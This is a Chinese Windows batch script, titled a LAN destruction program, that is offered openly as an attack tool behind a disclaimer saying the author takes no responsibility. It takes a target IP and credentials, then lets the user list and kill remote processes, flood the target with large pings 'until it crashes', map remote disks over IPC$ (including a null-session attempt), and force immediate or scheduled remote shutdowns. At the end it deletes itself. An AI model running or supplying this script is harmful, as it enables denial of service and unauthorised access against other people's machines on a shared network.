局域网破坏程序（批处理）

@ echo off&title DOS资源站 www.cmdos.net
echo 局域网攻击！
color cf
title 攻击程序
:mode con: cols=70 lines=20
echo msgbox"局域网攻击程序！">msg.vbs&&msg.vbs&&del msg.vbs
cls
echo.
echo.
echo ------------------------------------------------------------------------------
echo                        本软件只用于个人研究专用
echo                           如出现任何法律问题
echo                             本作者概不负责
echo ------------------------------------------------------------------------------
echo.
echo.
:ip
echo 请输入要攻击的IP（XXX.XXX.XXX.XXX）
set /p ip=ip:
set "ip=%ip:"=%"
echo 请输入要攻击的计算机用户名
set /p user=用户名:
set "user=%user:"=%"
echo 请输入要攻击的计算机的密码(如无密码直接按回车):
set /p pass=密码:
set "pass=%pass:"=%"
echo 正在连接远程电脑，请稍候...................................................
ping %ip%>nul
if %errorlevel% == 1 echo 远程计算机连接失败，原因可能为远程计算机未开启或网络超时!&&pause&&goto ip
goto start
:start
cls
echo.
echo.
echo ------------------------------------------------------------------------------
echo                        本软件只用于个人研究专用
echo                           如出现任何法律问题
echo                             本作者概不负责
echo ------------------------------------------------------------------------------
echo.
echo.
echo                      1、查看远程进程
echo                      2、攻击远程IP
echo                      3、映射远程磁盘
echo                      4、关闭远程电脑
echo                      5、更改攻击ip
echo                      6、退出程序
set /p start=                    请输入要操作的代码:
set "start=%start:"=%"
if "%start%"=="1" goto tasklist
if "%start%"=="2" goto ping
if "%start%"=="3" goto ipc
if "%start%"=="4" goto off
if "%start%"=="5" goto ip
if "%start%"=="6" goto end
if not errorlevel == 1 goto err
if not errorlevel == 2 goto err
if not errorlevel == 3 goto err
if not errorlevel == 4 goto err
if not errorlevel == 5 goto err
if not errorlevel == 6 goto err
:tasklist
cls
tasklist /s %ip% /u %user% /p %pass%
echo 是否结束远程进程？结束请按1，返回请按0。
set /p taskkill=请输入:
if "%taskkill%"=="0" goto start
if "%taskkill%"=="1" goto kill
if not errorlevel == 0 goto err
if not errorlevel == 1 goto err
:kill
set /p im=请输入要结束的进程（如QQ.EXE）：
set "im=%im:"=%"
taskkill /s %ip% /u %user% /p %pass% /im %im% /t
goto tasklist
:ping
cls
echo 攻击远程IP直到他死机。按任意键开始。要终止请按Ctrl+C退出程序!
pause>nul
ping %ip% -t -l 65500
:ipc
cls
echo 映射远程磁盘到本地！(请确认远程计算机开启IPC$共享)
net use \\%ip%\ipc$ "" /user:"">nul
set /p ipc=请输入要映射的网络磁盘:
set "ipc=%ipc:"=%"
set /p lan=请输入映射的磁盘盘符号(不要输入已存在的本地磁盘如C盘)：
net use %lan%: \\%ip%\%ipc%$ "%pass%" /user:"%user%"
pause>nul
goto start
:off
cls
echo 强行关闭远程计算机！
echo 1、即时关机
echo 2、定时关机
echo 3、返回
set /p off=请输入:
if "%off%"=="1" goto shutdown
if "%off%"=="2" goto at
if "%off%"=="3" goto start
if not errorlevel == 1 goto err
if not errorlevel == 2 goto err
if not errorlevel == 3 goto err
:shutdown
cls
echo 关闭计算机输入s,重启计算机输入r.
set /p and=请输入：
set "and=%and:"=%"
echo 请设置关机倒记时（单位/秒）
set /p t=请输入倒记时：
set "t=%t:"=%"
echo 请设置关机注释（不能超过120字节）
set /p c=请输入注释：
set "c=%c:"=%"
net use \\%ip%\ipc$ "%pass%" /user:"%user%"
shutdown -m \\%ip% -f -%and% -t %t% -c "%c%"
echo 任意键返回！
pause>nul
goto start
:at
cls
echo 定时关闭远程计算机！
echo 关闭计算机输入s,重启计算机输入r.
set /p sr=请输入：
set "sr=%sr:"=%"
echo 请设置远程关机时间,现在时间为 %time% 。
net time %ip%
set /p offtime=请输入（如20:00）：
set "offtime=%offtime:"=%"
echo 请设置关机倒记时（单位/秒）
set /p att=请输入倒记时：
set "att=%att:"=%"
echo 请设置关机注释（不能超过120字节）
set /p atc=请输入注释：
set "atc=%atc:"=%"
net use \\%ip%\ipc$ "%pass%" /user:"%user%"
at \\%ip% %offtime% shutdown -f -%sr% -t %att% -c "%atc"
if %errorlevel% == 1 echo 请确认网络是否正常！ && pause&&goto at
echo 任意键返回！
pause>nul
goto start
:err
echo 您输入的格式不正确，任意键返回，重新输入。&& pause>nul&&goto start
:end
exit
attrib -h -s -r -a %0
del %0